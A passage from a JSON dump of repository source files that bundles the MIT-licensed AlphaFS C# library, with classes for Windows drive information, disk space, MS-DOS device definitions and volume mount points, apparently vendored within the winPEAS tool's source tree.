numberOfFreeClusters;\n               SectorsPerCluster = sectorsPerCluster;\n               TotalNumberOfClusters = totalNumberOfClusters;\n            }\n         }\n      }\n\n\n      /// <summary>Initializes all <see ref=\"Alphaleonis.Win32.Filesystem.DiskSpaceInfo\"/> properties to 0.</summary>\n      private void Reset()\n      {\n         if (_initGetSpaceInfo)\n         {\n            FreeBytesAvailable = 0;\n            TotalNumberOfBytes = 0;\n            TotalNumberOfFreeBytes = 0;\n         }\n\n\n         if (_initGetClusterInfo)\n         {\n            BytesPerSector = 0;\n            NumberOfFreeClusters = 0;\n            SectorsPerCluster = 0;\n            TotalNumberOfClusters = 0;\n         }\n      }\n\n\n      /// <summary>Returns the drive name.</summary>\n      /// <returns>A string that represents this object.</returns>\n      public override string ToString()\n      {\n         return DriveName;\n      }\n\n\n      /// <summary>Calculates a percentage value.</summary>\n      private static double PercentCalculate(double currentValue, double minimumValue, double maximumValue)\n      {\n         return currentValue < 0 || maximumValue <= 0 ? 0 : currentValue * 100 / (maximumValue - minimumValue);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/DriveInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Linq;\nusing System.Security;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Provides access to information on a local or remote drive.</summary>\n   /// <remarks>\n   /// This class models a drive and provides methods and properties to query for drive information.\n   /// Use DriveInfo to determine what drives are available, and what type of drives they are.\n   /// You can also query to determine the capacity and available free space on the drive.\n   /// </remarks>\n   [Serializable]\n   [SecurityCritical]\n   public sealed class DriveInfo\n   {\n      [NonSerialized] private readonly VolumeInfo _volumeInfo;\n      [NonSerialized] private readonly DiskSpaceInfo _dsi;\n      [NonSerialized] private bool _initDsie;\n      [NonSerialized] private DriveType? _driveType;\n      [NonSerialized] private string _dosDeviceName;\n      [NonSerialized] private DirectoryInfo _rootDirectory;\n      [NonSerialized] private readonly string _name;\n\n\n      #region Constructors\n\n      /// <summary>Provides access to information on the specified drive.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"driveName\">\n      ///   A valid drive path or drive letter.\n      ///   <para>This can be either uppercase or lowercase,</para>\n      ///   <para>'a' to 'z' or a network share in the format: \\\\server\\share</para>\n      /// </param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1062:Validate arguments of public methods\", MessageId = \"0\", Justification = \"Utils.IsNullOrWhiteSpace validates arguments.\")]\n      [SecurityCritical]\n      public DriveInfo(string driveName)\n      {\n         if (Utils.IsNullOrWhiteSpace(driveName))\n            throw new ArgumentNullException(\"driveName\");\n\n\n         driveName = driveName.Length == 1 ? driveName + Path.VolumeSeparatorChar : Path.GetPathRoot(driveName, false);\n\n         if (Utils.IsNullOrWhiteSpace(driveName))\n            throw new ArgumentException(Resources.InvalidDriveLetterArgument, \"driveName\");\n\n\n         _name = Path.AddTrailingDirectorySeparator(driveName, false);\n\n         // Initiate VolumeInfo() lazyload instance.\n         _volumeInfo = new VolumeInfo(_name, false, true);\n\n         // Initiate DiskSpaceInfo() lazyload instance.\n         _dsi = new DiskSpaceInfo(_name, null, false, true);\n      }\n\n      #endregion // Constructors\n\n\n      #region Properties\n\n      /// <summary>Indicates the amount of available free space on a drive.</summary>\n      /// <returns>The amount of free space available on the drive, in bytes.</returns>\n      /// <remarks>This property indicates the amount of free space available on the drive. Note that this number may be different from the <see cref=\"TotalFreeSpace\"/> number because this property takes into account disk quotas.</remarks>\n      public long AvailableFreeSpace\n      {\n         get\n         {\n            GetDeviceInfo(3, 0);\n            return null == _dsi ? 0 : _dsi.FreeBytesAvailable;\n         }\n      }\n\n      /// <summary>Gets the name of the file system, such as NTFS or FAT32.</summary>\n      /// <remarks>Use DriveFormat to determine what formatting a drive uses.</remarks>\n      public string DriveFormat\n      {\n         get { return (string) GetDeviceInfo(0, 1); }\n      }\n\n\n      /// <summary>Gets the drive type.</summary>\n      /// <returns>One of the <see cref=\"System.IO.DriveType\"/> values.</returns>\n      /// <remarks>\n      /// The DriveType property indicates whether a drive is any of: CDRom, Fixed, Unknown, Network, NoRootDirectory,\n      /// Ram, Removable, or Unknown. Values are listed in the <see cref=\"System.IO.DriveType\"/> enumeration.\n      /// </remarks>\n      public DriveType DriveType\n      {\n         get { return (DriveType) GetDeviceInfo(2, 0); }\n      }\n\n\n      /// <summary>Gets a value indicating whether a drive is ready.</summary>\n      /// <returns><c>true</c> if the drive is ready; otherwise, <c>false</c>.</returns>\n      /// <remarks>\n      /// IsReady indicates whether a drive is ready. For example, it indicates whether a CD is in a CD drive or whether\n      /// a removable storage device is ready for read/write operations. If you do not test whether a drive is ready, and\n      /// it is not ready, querying the drive using DriveInfo will raise an IOException.\n      /// \n      /// Do not rely on IsReady() to avoid catching exceptions from other members such as TotalSize, TotalFreeSpace, and DriveFormat.\n      /// Between the time that your code checks IsReady and then accesses one of the other properties\n      /// (even if the access occurs immediately after the check), a drive may have been disconnected or a disk may have been removed.\n      /// </remarks>\n      public bool IsReady\n      {\n         get { return File.ExistsCore(null, true, Name, PathFormat.LongFullPath); }\n      }\n\n\n      /// <summary>Gets the name of the drive.</summary>\n      /// <returns>The name of the drive.</returns>\n      /// <remarks>This property is the name assigned to the drive, such as C:\\ or E:\\</remarks>\n      public string Name\n      {\n         get { return _name; }\n      }\n\n\n      /// <summary>Gets the root directory of a drive.</summary>\n      /// <returns>A DirectoryInfo object that contains the root directory of the drive.</returns>\n      public DirectoryInfo RootDirectory\n      {\n         get { return (DirectoryInfo) GetDeviceInfo(2, 1); }\n      }\n\n      /// <summary>Gets the total amount of free space available on a drive.</summary>\n      /// <returns>The total free space available on a drive, in bytes.</returns>\n      /// <remarks>This property indicates the total amount of free space available on the drive, not just what is available to the current user.</remarks>\n      public long TotalFreeSpace\n      {\n         get\n         {\n            GetDeviceInfo(3, 0);\n            return null == _dsi ? 0 : _dsi.TotalNumberOfFreeBytes;\n         }\n      }\n\n\n      /// <summary>Gets the total size of storage space on a drive.</summary>\n      /// <returns>The total size of the drive, in bytes.</returns>\n      /// <remarks>This property indicates the total size of the drive in bytes, not just what is available to the current user.</remarks>\n      public long TotalSize\n      {\n         get\n         {\n            GetDeviceInfo(3, 0);\n            return null == _dsi ? 0 : _dsi.TotalNumberOfBytes;\n         }\n      }\n\n\n      /// <summary>Gets or sets the volume label of a drive.</summary>\n      /// <returns>The volume label.</returns>\n      /// <remarks>\n      /// The label length is determined by the operating system. For example, NTFS allows a volume label\n      /// to be up to 32 characters long. Note that <c>null</c> is a valid VolumeLabel.\n      /// </remarks>\n      public string VolumeLabel\n      {\n         get { return (string) GetDeviceInfo(0, 2); }\n         set { Volume.SetVolumeLabel(Name, value); }\n      }\n\n      /// <summary>[AlphaFS] Returns the <see ref=\"Alphaleonis.Win32.Filesystem.DiskSpaceInfo\"/> instance.</summary>\n      public DiskSpaceInfo DiskSpaceInfo\n      {\n         get\n         {\n            GetDeviceInfo(3, 0);\n            return _dsi;\n         }\n      }\n\n\n      /// <summary>[AlphaFS] The MS-DOS device name.</summary>\n      public string DosDeviceName\n      {\n         get { return (string) GetDeviceInfo(1, 0); }\n      }\n\n\n      /// <summary>[AlphaFS] Indicates if this drive is a SUBST.EXE / DefineDosDevice drive mapping.</summary>\n      public bool IsDosDeviceSubstitute\n      {\n         get { return !Utils.IsNullOrWhiteSpace(DosDeviceName) && DosDeviceName.StartsWith(Path.NonInterpretedPathPrefix, StringComparison.OrdinalIgnoreCase); }\n      }\n\n\n      /// <summary>[AlphaFS] Indicates if this drive is a UNC path.</summary>\n      public bool IsUnc\n      {\n         get\n         {\n            return !IsDosDeviceSubstitute && DriveType == DriveType.Network ||\n               \n                   // Handle Host devices with file systems: FAT/FAT32, UDF (CDRom), ...\n                   Name.StartsWith(Path.UncPrefix, StringComparison.Ordinal) && DriveType == DriveType.NoRootDirectory && DriveFormat.Equals(DriveType.Unknown.ToString(), StringComparison.OrdinalIgnoreCase);\n         }\n      }\n\n\n      /// <summary>[AlphaFS] Determines whether the specified volume name is a defined volume on the current computer.</summary>\n      public bool IsVolume\n      {\n         get { return null != GetDeviceInfo(0, 0); }\n      }\n\n\n      /// <summary>[AlphaFS] Contains information about a file-system volume.</summary>\n      /// <returns>A VolumeInfo object that contains file-system volume information of the drive.</returns>\n      public VolumeInfo VolumeInfo\n      {\n         get { return (VolumeInfo) GetDeviceInfo(0, 0); }\n      }\n\n\n      #endregion // Properties\n\n\n      #region Methods\n\n      #region .NET\n\n      /// <summary>Retrieves the <see cref=\"DriveInfo\"/> of all logical drives on the Computer.</summary>\n      /// <returns>An array of type <see cref=\"Alphaleonis.Win32.Filesystem.DriveInfo\"/> that represents the logical drives on the Computer.</returns>\n      [SecurityCritical]\n      public static DriveInfo[] GetDrives()\n      {\n         return Directory.EnumerateLogicalDrivesCore(false, false).ToArray();\n      }\n\n\n      /// <summary>Returns a drive name as a string.</summary>\n      /// <returns>The name of the drive.</returns>\n      /// <remarks>This method returns the Name property.</remarks>\n      public override string ToString()\n      {\n         return _name;\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Enumerates the drive names of all logical drives on the Computer.</summary>\n      /// <param name=\"fromEnvironment\">Retrieve logical drives as known by the Environment.</param>\n      /// <param name=\"isReady\">Retrieve only when accessible (IsReady) logical drives.</param>\n      /// <returns>\n      ///   An IEnumerable of type <see cref=\"Alphaleonis.Win32.Filesystem.DriveInfo\"/> that represents\n      ///   the logical drives on the Computer.\n      /// </returns>      \n      [SecurityCritical]\n      public static IEnumerable<DriveInfo> EnumerateDrives(bool fromEnvironment, bool isReady)\n      {\n         return Directory.EnumerateLogicalDrivesCore(fromEnvironment, isReady);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the first available drive letter on the local system.</summary>\n      /// <returns>A drive letter as <see cref=\"char\"/>. When no drive letters are available, an exception is thrown.</returns>\n      /// <remarks>The letters \"A\" and \"B\" are reserved for floppy drives and will never be returned by this function.</remarks>\n      public static char GetFreeDriveLetter()\n      {\n         return GetFreeDriveLetter(false);\n      }\n\n\n      /// <summary>Gets an available drive letter on the local system.</summary>\n      /// <param name=\"getLastAvailable\">When <c>true</c> get the last available drive letter. When <c>false</c> gets the first available drive letter.</param>\n      /// <returns>A drive letter as <see cref=\"char\"/>. When no drive letters are available, an exception is thrown.</returns>\n      /// <remarks>The letters \"A\" and \"B\" are reserved for floppy drives and will never be returned by this function.</remarks>\n      /// <exception cref=\"ArgumentOutOfRangeException\">No drive letters available.</exception>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1024:UsePropertiesWhereAppropriate\")]\n      public static char GetFreeDriveLetter(bool getLastAvailable)\n      {\n         var freeDriveLetters = \"CDEFGHIJKLMNOPQRSTUVWXYZ\".Except(Directory.EnumerateLogicalDrivesCore(false, false).Select(d => d.Name[0]));\n\n         try\n         {\n            return getLastAvailable ? freeDriveLetters.Last() : freeDriveLetters.First();\n         }\n         catch\n         {\n            throw new ArgumentOutOfRangeException(Resources.No_Drive_Letters_Available);\n         }\n      }\n\n      #endregion // Methods\n\n\n      #region Private Methods\n\n      /// <summary>Retrieves information about the file system and volume associated with the specified root file or directorystream.</summary>\n      [SuppressMessage(\"Microsoft.Maintainability\", \"CA1502:AvoidExcessiveComplexity\")]\n      [SuppressMessage(\"Microsoft.Design\", \"CA1031:DoNotCatchGeneralExceptionTypes\")]\n      [SecurityCritical]\n      private object GetDeviceInfo(int type, int mode)\n      {\n         try\n         {\n            switch (type)\n            {\n               #region Volume\n\n               // VolumeInfo properties.\n               case 0:\n                  if (Utils.IsNullOrWhiteSpace(_volumeInfo.FullPath))\n                     _volumeInfo.Refresh();\n\n                  switch (mode)\n                  {\n                     case 0:\n                        // IsVolume, VolumeInfo\n                        return _volumeInfo;\n\n                     case 1:\n                        // DriveFormat\n                        return null == _volumeInfo ? DriveType.Unknown.ToString() : _volumeInfo.FileSystemName ?? DriveType.Unknown.ToString();\n\n                     case 2:\n                        // VolumeLabel\n                        return null == _volumeInfo ? string.Empty : _volumeInfo.Name ?? string.Empty;\n                  }\n\n                  break;\n\n\n               // Volume related.\n               case 1:\n                  switch (mode)\n                  {\n                     case 0:\n                        // DosDeviceName\n                        return _dosDeviceName ?? (_dosDeviceName = Volume.GetVolumeDeviceName(Name));\n                  }\n\n                  break;\n\n               #endregion // Volume\n\n\n               #region Drive\n\n               // Drive related.\n               case 2:\n                  switch (mode)\n                  {\n                     case 0:\n                        // DriveType\n                        return _driveType ?? (_driveType = Volume.GetDriveType(Name));\n\n                     case 1:\n                        // RootDirectory\n                        return _rootDirectory ?? (_rootDirectory = new DirectoryInfo(null, Name, PathFormat.RelativePath));\n                  }\n\n                  break;\n\n               // DiskSpaceInfo related.\n               case 3:\n                  switch (mode)\n                  {\n                     case 0:\n                        // AvailableFreeSpace, TotalFreeSpace, TotalSize, DiskSpaceInfo\n                        if (!_initDsie)\n                        {\n                           _dsi.Refresh();\n                           _initDsie = true;\n                        }\n\n                        break;\n                  }\n\n                  break;\n\n               #endregion // Drive\n            }\n         }\n         catch\n         {\n         }\n\n         return type == 0 && mode > 0 ? string.Empty : null;\n      }\n      \n      #endregion // Private\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DefineDosDevice.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Defines, redefines, or deletes MS-DOS device names.</summary>\n      /// <param name=\"deviceName\">An MS-DOS device name string specifying the device the function is defining, redefining, or deleting.</param>\n      /// <param name=\"targetPath\">An MS-DOS path that will implement this device.</param>\n      [SecurityCritical]\n      public static void DefineDosDevice(string deviceName, string targetPath)\n      {\n         DefineDosDeviceCore(true, deviceName, targetPath, DosDeviceAttributes.None, false);\n      }\n\n      /// <summary>[AlphaFS] Defines, redefines, or deletes MS-DOS device names.</summary>\n      /// <param name=\"deviceName\">\n      ///   An MS-DOS device name string specifying the device the function is defining, redefining, or deleting.\n      /// </param>\n      /// <param name=\"targetPath\">\n      ///   &gt;An MS-DOS path that will implement this device. If <paramref name=\"deviceAttributes\"/> parameter has the\n      ///   <see cref=\"DosDeviceAttributes.RawTargetPath\"/> flag specified, <paramref name=\"targetPath\"/> is used as-is.\n      /// </param>\n      /// <param name=\"deviceAttributes\">\n      ///   The controllable aspects of the DefineDosDevice function, <see cref=\"DosDeviceAttributes\"/> flags which will be combined with the\n      ///   default.\n      /// </param>      \n      [SecurityCritical]\n      public static void DefineDosDevice(string deviceName, string targetPath, DosDeviceAttributes deviceAttributes)\n      {\n         DefineDosDeviceCore(true, deviceName, targetPath, deviceAttributes, false);\n      }\n\n\n\n\n      /// <summary>Defines, redefines, or deletes MS-DOS device names.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"isDefine\">\n      ///   <c>true</c> defines a new MS-DOS device. <c>false</c> deletes a previously defined MS-DOS device.\n      /// </param>\n      /// <param name=\"deviceName\">\n      ///   An MS-DOS device name string specifying the device the function is defining, redefining, or deleting.\n      /// </param>\n      /// <param name=\"targetPath\">\n      ///   A pointer to a path string that will implement this device. The string is an MS-DOS path string unless the\n      ///   <see cref=\"DosDeviceAttributes.RawTargetPath\"/> flag is specified, in which case this string is a path string.\n      /// </param>\n      /// <param name=\"deviceAttributes\">\n      ///   The controllable aspects of the DefineDosDevice function, <see cref=\"DosDeviceAttributes\"/> flags which will be combined with the\n      ///   default.\n      /// </param>\n      /// <param name=\"exactMatch\">\n      ///   Only delete MS-DOS device on an exact name match. If <paramref name=\"exactMatch\"/> is <c>true</c>,\n      ///   <paramref name=\"targetPath\"/> must be the same path used to create the mapping.\n      /// </param>\n      [SecurityCritical]\n      internal static void DefineDosDeviceCore(bool isDefine, string deviceName, string targetPath, DosDeviceAttributes deviceAttributes, bool exactMatch)\n      {\n         if (Utils.IsNullOrWhiteSpace(deviceName))\n            throw new ArgumentNullException(\"deviceName\");\n\n         if (isDefine)\n         {\n            // targetPath is allowed to be null.\n\n            // In no case is a trailing backslash (\"\\\") allowed.\n            deviceName = Path.GetRegularPathCore(deviceName, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.CheckInvalidPathChars, false);\n\n            using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n            {\n               var success = NativeMethods.DefineDosDevice(deviceAttributes, deviceName, targetPath);\n\n               var lastError = Marshal.GetLastWin32Error();\n               if (!success)\n                  NativeError.ThrowException(lastError, deviceName, targetPath);\n            }\n         }\n\n         else\n         {\n            // A pointer to a path string that will implement this device.\n            // The string is an MS-DOS path string unless the DDD_RAW_TARGET_PATH flag is specified, in which case this string is a path string.\n\n            if (exactMatch && !Utils.IsNullOrWhiteSpace(targetPath))\n               deviceAttributes = deviceAttributes | DosDeviceAttributes.ExactMatchOnRemove | DosDeviceAttributes.RawTargetPath;\n\n            // Remove the MS-DOS device name. First, get the name of the Windows NT device\n            // from the symbolic link and then delete the symbolic link from the namespace.\n\n            DefineDosDevice(deviceName, targetPath, deviceAttributes);\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DeleteDosDevice.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Deletes an MS-DOS device name.</summary>\n      /// <param name=\"deviceName\">An MS-DOS device name specifying the device to delete.</param>      \n      [SecurityCritical]\n      public static void DeleteDosDevice(string deviceName)\n      {\n         DefineDosDeviceCore(false, deviceName, null, DosDeviceAttributes.RemoveDefinition, false);\n      }\n\n      /// <summary>[AlphaFS] Deletes an MS-DOS device name.</summary>\n      /// <param name=\"deviceName\">An MS-DOS device name string specifying the device to delete.</param>\n      /// <param name=\"targetPath\">\n      ///   A pointer to a path string that will implement this device. The string is an MS-DOS path string unless the\n      ///   <see cref=\"DosDeviceAttributes.RawTargetPath\"/> flag is specified, in which case this string is a path string.\n      /// </param>      \n      [SecurityCritical]\n      public static void DeleteDosDevice(string deviceName, string targetPath)\n      {\n         DefineDosDeviceCore(false, deviceName, targetPath, DosDeviceAttributes.RemoveDefinition, false);\n      }\n\n      /// <summary>[AlphaFS] Deletes an MS-DOS device name.</summary>\n      /// <param name=\"deviceName\">An MS-DOS device name string specifying the device to delete.</param>\n      /// <param name=\"targetPath\">\n      ///   A pointer to a path string that will implement this device. The string is an MS-DOS path string unless the\n      ///   <see cref=\"DosDeviceAttributes.RawTargetPath\"/> flag is specified, in which case this string is a path string.\n      /// </param>\n      /// <param name=\"exactMatch\">\n      ///   Only delete MS-DOS device on an exact name match. If <paramref name=\"exactMatch\"/> is <c>true</c>,\n      ///   <paramref name=\"targetPath\"/> must be the same path used to create the mapping.\n      /// </param>      \n      [SecurityCritical]\n      public static void DeleteDosDevice(string deviceName, string targetPath, bool exactMatch)\n      {\n         DefineDosDeviceCore(false, deviceName, targetPath, DosDeviceAttributes.RemoveDefinition, exactMatch);\n      }\n\n      /// <summary>[AlphaFS] Deletes an MS-DOS device name.</summary>\n      /// <param name=\"deviceName\">An MS-DOS device name string specifying the device to delete.</param>\n      /// <param name=\"targetPath\">\n      ///   A pointer to a path string that will implement this device. The string is an MS-DOS path string unless the\n      ///   <see cref=\"DosDeviceAttributes.RawTargetPath\"/> flag is specified, in which case this string is a path string.\n      /// </param>\n      /// <param name=\"deviceAttributes\">\n      ///   The controllable aspects of the DefineDosDevice function <see cref=\"DosDeviceAttributes\"/> flags which will be combined with the\n      ///   default.\n      /// </param>\n      /// <param name=\"exactMatch\">\n      ///   Only delete MS-DOS device on an exact name match. If <paramref name=\"exactMatch\"/> is <c>true</c>,\n      ///   <paramref name=\"targetPath\"/> must be the same path used to create the mapping.\n      /// </param>      \n      [SuppressMessage(\"Microsoft.Design\", \"CA1031:DoNotCatchGeneralExceptionTypes\")]\n      [SecurityCritical]\n      public static void DeleteDosDevice(string deviceName, string targetPath, DosDeviceAttributes deviceAttributes, bool exactMatch)\n      {\n         DefineDosDeviceCore(false, deviceName, targetPath, deviceAttributes, exactMatch);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DeleteVolumeMountPoint.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Deletes a Drive letter or mounted folder.</summary>\n      /// <remarks>Deleting a mounted folder does not cause the underlying directory to be deleted.</remarks>\n      /// <remarks>\n      ///   If the <paramref name=\"volumeMountPoint\"/> parameter is a directory that is not a mounted folder, the function does nothing. The\n      ///   directory is not deleted.\n      /// </remarks>\n      /// <remarks>\n      ///   It's not an error to attempt to unmount a volume from a volume mount point when there is no volume actually mounted at that volume\n      ///   mount point.\n      /// </remarks>\n      /// <param name=\"volumeMountPoint\">The Drive letter or mounted folder to be deleted. For example, X:\\ or Y:\\MountX\\.</param>      \n      [SecurityCritical]\n      public static void DeleteVolumeMountPoint(string volumeMountPoint)\n      {\n         DeleteVolumeMountPointCore(null, volumeMountPoint, false, false, PathFormat.RelativePath);\n      }\n\n\n\n\n      /// <summary>Deletes a Drive letter or mounted folder.\n      /// <remarks>\n      ///   <para>It's not an error to attempt to unmount a volume from a volume mount point when there is no volume actually mounted at that volume mount point.</para>\n      ///   <para>Deleting a mounted folder does not cause the underlying directory to be deleted.</para>\n      /// </remarks>\n      /// </summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"volumeMountPoint\">The Drive letter or mounted folder to be deleted. For example, X:\\ or Y:\\MountX\\.</param>\n      /// <param name=\"continueOnException\"><c>true</c> suppress any Exception that might be thrown as a result from a failure, such as unavailable resources.</param>\n      /// <param name=\"continueIfJunction\"><c>true</c> suppress an exception due to this mount point being a Junction.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static void DeleteVolumeMountPointCore(KernelTransaction transaction, string volumeMountPoint, bool continueOnException, bool continueIfJunction, PathFormat pathFormat)\n      {\n         if (pathFormat != PathFormat.LongFullPath)\n            Path.CheckSupportedPathFormat(volumeMountPoint, true, true);\n\n         volumeMountPoint = Path.GetExtendedLengthPathCore(transaction, volumeMountPoint, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator);\n\n\n         using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n         {\n            // DeleteVolumeMountPoint()\n            // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n\n            // A trailing backslash is required.\n            var success = NativeMethods.DeleteVolumeMountPoint(Path.AddTrailingDirectorySeparator(volumeMountPoint, false));\n\n            var lastError = Marshal.GetLastWin32Error();\n            if (!success && !continueOnException)\n            {\n               if (lastError == Win32Errors.ERROR_INVALID_PARAMETER && continueIfJunction)\n                  return;\n\n               if (lastError == Win32Errors.ERROR_FILE_NOT_FOUND)\n                  lastError = (int)Win32Errors.ERROR_PATH_NOT_FOUND;\n\n               NativeError.ThrowException(lastError, volumeMountPoint);\n            }\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DiskFreeSpace.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT 